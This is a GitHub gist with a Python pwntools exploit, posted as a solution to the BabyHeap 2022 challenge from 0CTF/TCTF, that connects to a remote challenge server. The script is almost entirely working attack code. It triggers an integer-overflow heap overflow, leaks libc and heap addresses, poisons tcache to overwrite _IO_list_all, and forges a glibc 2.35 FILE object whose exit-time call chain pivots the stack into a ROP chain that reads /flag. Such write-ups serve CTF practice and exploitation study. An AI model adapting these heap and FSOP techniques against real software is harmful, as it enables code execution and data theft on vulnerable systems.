Skip to content

Instantly share code, notes, and snippets.

@xf1les
Created September 19, 2022 11:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xf1les/d8b883dff2b9d7c2cb653a7efa3739c0 to your computer and use it in GitHub Desktop.
Save xf1les/d8b883dff2b9d7c2cb653a7efa3739c0 to your computer and use it in GitHub Desktop.
My solution for BabyHeap 2022 (2022 0CTF/TCTF)
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64", log_level="debug")
p = remote("47.100.33.132", "2204")
# ~ p = process("./babyheap")
libcbase = None
heapbase = None
tc_key = None
p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x)
p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)
libc_sym = lambda x : libc.symbols[x]
libc_symp = lambda x : p64(libc.symbols[x])
libc_os = lambda x : libcbase + x
heap_os = lambda x : heapbase + x
def add(sz, ctx='a'):
p_sl(1, "Command: ")
p_sl(sz, "Size: ")
p_sl(ctx, "Content: ")
def edit(idx, sz, ctx):
p_sl(2, "Command: ")
p_sl(idx, "Index: ")
p_sl(sz, "Size: ")
p_sl(ctx, "Content: ")
def free(idx):
p_sl(3, "Command: ")
p_sl(idx, "Index: ")
def show(idx):
p_sl(4, "Command: ")
p_sl(idx, "Index: ")
########################################################################
add(0x10) # 0
add(0x10) # 1
add(0x800) # 2
add(0x10)
###############################################################
### Stage 1: heap overflowing, change chunk1's size to 0x80 ###
###############################################################
edit(0, -1, 0x10 * b'a' + flat([0, 0x81])) # BUG, Interge overflow
free(1)
add(0x70, 0x10 * b'a' + flat([0, 0x811])) # 1
#######################################################################
### Stage 2: free chunk2, leak main_arena address by showing chunk1 ###
#######################################################################
free(2)
show(1)
p.recvuntil("]: ")
p.recv(0x20)
libcbase = u64(p.recv(8)) - 0x219ce0
info("libcbase: 0x%lx", libcbase)
#############################################################
### Stage 3: free two chunks to tcache, leak heap address ###
#############################################################
add(0x20) # 2
add(0x20) # 4
free(2)
free(4)
show(1)
p.recvuntil("]: ")
p.recv(0x20)
tc_key = u64(p.recv(8))
info("tcache key: 0x%lx", tc_key)
p.recv(0x28)
heapbase = (u64(p.recv(8)) ^ tc_key) - 0x2e0
info("heapbase key: 0x%lx", heapbase)
##########################################
### Stage 4: prepare for ORW ROP chain ###
##########################################
rop_chain = heap_os(0x340) # the address of rop chain
mov_rax_0 = libc_os(0xbab79)
mov_rax_1 = libc_os(0xd83e0)
mov_rax_2 = libc_os(0xd83f0)
xchg_eax_edi = libc_os(0x14a385)
pop_rdi = libc_os(0x2a3e5)
pop_rsi = libc_os(0x2be51)
pop_rdx_r12 = libc_os(0x11f497)
syscall = libc_os(0x91396)
rop_raw = [
pop_rdi, 0xdeadbeef,
pop_rsi, 0,
mov_rax_2, syscall,
xchg_eax_edi,
pop_rsi, 0xdeadbeef,
pop_rdx_r12, 0x80, 0,
mov_rax_0, syscall,
pop_rdi, 1,
mov_rax_1, syscall
]
rop_raw[1] = rop_raw[8] = rop_chain + len(rop_raw) * 8
rop = flat(rop_raw) + b'/flag\x00'
add(0x100, rop) # write ROP chain on heap
##############################################
### Stage 5: prepare for forge FILE object ###
##############################################
## Found by https://github.com/xf1les/fsop-finder
## 2.35-0ubuntu3.1
# 3. sub_860b0@0x860b0 -> _IO_wdoallocbuf@0x83bf0
# 0x861cd: call(0x83bf0)
# RIP/RDI DATAFLOW:
# rbx = rdi -> rdi = rbx -> call(0x83bf0)
# RBP DATAFLOW:
# rbp = [rdi + 0x98].q
# CODE PATH:
# eax = [rdi].d
# => [condition] (al & 4) == 0
# rax = [rdi + 0xa0].q
# rdx = [rax].q
# => [condition] rdx u>= [rax + 8].q
# rdx = [rdi + 8].q
# => [condition] rdx u< [rdi + 0x10].q
# rdi = [rax + 0x40].q
# => [condition] rdi == 0
# 0x83c1b: call([rax + 0x68].q)
# RIP/RDI DATAFLOW:
# rax = [rdi + 0xa0].q -> rax = [rax + 0xe0].q -> call([rax + 0x68].q)
# RBP DATAFLOW:
# (N/A)
# CODE PATH:
# rax = [rdi + 0xa0].q
# => [condition] [rax + 0x30].q == 0
# => [condition] ([rdi].b & 2) == 0
# ([0x216020] is the location of sub_860b0 in __libc_IO_vtables)
fp = heap_os(0x440) # the address of forge file object
leave_ret = libc_os(0x562ec)
vtable_ptr = libc_os(0x216020-0x18)
forge_fp = flat({
0x10 : 0xffffffffffffffff,
0x28 : 0xffffffffffffffff,
0x68 : leave_ret,
0x88 : fp + 0xe0,
0x98 : rop_chain - 8,
0xa0 : fp + 0x10,
0xd8 : vtable_ptr,
0xf0 : fp
}, filler=b"\x00")
add(0x100, forge_fp[0x10:]) # write forge FILE object on heap
#######################################################################
### Stage 6: write the address of forge FILE object to _IO_list_all ###
#######################################################################
payload = flat({
0x18 : 0x31,
0x20 : tc_key,
0x48 : 0x31,
0x50 : libc_os(0x21a680) ^ tc_key, # _IO_list_all
0x58 : 0
}, filler=b"\x00")
edit(1, len(payload), payload) # edit tcache chunk's fd pointer
add(0x20)
add(0x20, p64(fp)) # allocate _IO_list_all from tcache
######################################################
### Stage 7: call exit() to perform stack pivoting ###
######################################################
# exit() -> _IO_cleanup() -> _IO_flush_all_lockp() -> _IO_wfile_underflow_mmap() -> _IO_wdoallocbuf() -> "leave; ret" gadget -> ROP chain
p.sendline('5')
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment